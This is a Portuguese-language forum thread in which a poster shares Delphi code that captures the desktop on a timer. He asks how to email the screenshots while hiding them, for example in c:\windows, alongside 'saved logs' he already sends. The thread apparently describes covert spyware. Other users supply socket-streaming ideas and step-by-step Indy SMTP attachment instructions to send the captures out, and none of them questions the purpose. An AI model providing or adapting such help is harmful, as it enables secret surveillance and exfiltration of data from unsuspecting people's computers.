[duvida] Capturar screenshot

[juniorjpf]

bom pesquiçei alguns codigos, e achei isso

var DCDesk: HDC; // hDC of Desktop
bmp: TBitmap;
begin
{Create a bitmap}
bmp := TBitmap.Create;

{Set a bitmap sizes}
bmp.Height := Screen.Height;
bmp.Width := Screen.Width;

{Get a desktop DC handle - handle of a display device context}
DCDesk := GetWindowDC(GetDesktopWindow);

{Copy to any canvas, here canvas of an image}
BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
DCDesk, 0, 0, SRCCOPY);

{Save the bitmap}
bmp.SaveToFile('ScreenShot.bmp');

{Release desktop DC handle}
ReleaseDC(GetDesktopWindow, DCDesk);

{Release a bitmap}
bmp.Free;

botei ele em um timer, e ele fico capturando e salvando na mesma pasta da onde esta salvo o projeto

porem

oq eu preciso eh o seguinte, fazer com q ele nao salve no pc, e ja envie por email
como eu faço pra adaptar isso

tipo capturar, e enviar... (sem salvar no pc)


vlw pela ajuda... estou a tentar.... novidades posto ake

[JCSF]

Você pode salvar, enviar e depois apagar. O que acha?

[_dmK_]

Você pode salvar, enviar e depois apagar. O que acha?

se o usuário não tiver permissão de escrita em certos diretórios isso poderia dar problemas

[JCSF]

Você pode salvar, enviar e depois apagar. O que acha?

se o usuário não tiver permissão de escrita em certos diretórios isso poderia dar problemas

Ele falou que está salvando no mesmo local em que está o projeto, por isso disse aquilo.

[-brx-]

Já que não quer salvar em lugar nenhum..
Tente transferir o conteudo Imagem para Clipboard , mas acredito que não vai rolar.. xD
Mas tb não custa tentar!
Obs: se não conseguir , tente salvando, não presisa apagar a imagem O.o , basta reescreve-la.

[juniorjpf]

Já que não quer salvar em lugar nenhum..
Tente transferir o conteudo Imagem para Clipboard , mas acredito que não vai rolar.. xD
Mas tb não custa tentar!
Obs: se não conseguir , tente salvando, não presisa apagar a imagem O.o , basta reescreve-la.

sim, esse codigo por exemplo reescreve a imagem.

mas suponhamos que a pessoa abre na area de trabalho, a screenshot vai ficar sendo salva na area de trabalho, isso seria pessimo rs

teria como eu escolher um diretorio, exemplo c:\windows\....
oq teria que mudar?

e dps para enviar a imagem, eu teria q usar o msm sistema de enviar os logs salvos certo?

[ace_ventura]

Se você não quer salvar a imagem no pc, envie por stream através de sockets. Mas se REALMENTE precisa mandar por email não sei como tu vai fazer isso... A não ser que upe para um servidor, mas para isso precisa ter ela salva no pc, pois nenhum servidor que eu conheça pega imagens diretamente da memória =/

[juniorjpf]

Se você não quer salvar a imagem no pc, envie por stream através de sockets. Mas se REALMENTE precisa mandar por email não sei como tu vai fazer isso... A não ser que upe para um servidor, mas para isso precisa ter ela salva no pc, pois nenhum servidor que eu conheça pega imagens diretamente da memória =/

o fato de salvar no pc tudo bem, eu posso escolher um diretorio que todos os windows tem
o problema eh como adaptar essa funçao


pensei em algo como

with IdMessage1 do
begin

Body.text:= (a screenshot) + Memo1.text;
From.Text := '';
Recipients.EMailAddresses := '';

no caso como teria q fazer?
colocar o diretorio onde esta a imagem
ou o nome da funçao

[JCSF]

Acho que você tem que usar algo desse tipo para pode anexar no IdMessage um arquivo.

Tenta algo assim:

Primeiro você tem que conectar com o SMTP.
Depois você defini o Idmessage.
e coloca o TIdAttachmentFile.Create(MessageParts, nome_do_arquivo);
E manda algo assim no Final : idSMTP.Send(IdMessage);
Depois disconecta e dá free no smtp e no idMessage.

[ace_ventura]

Sim, tem que criar um attachment (anexo), o que você está faladno seria algo com html, daria pra usar isso se a foto estivesse upada em algum servidor...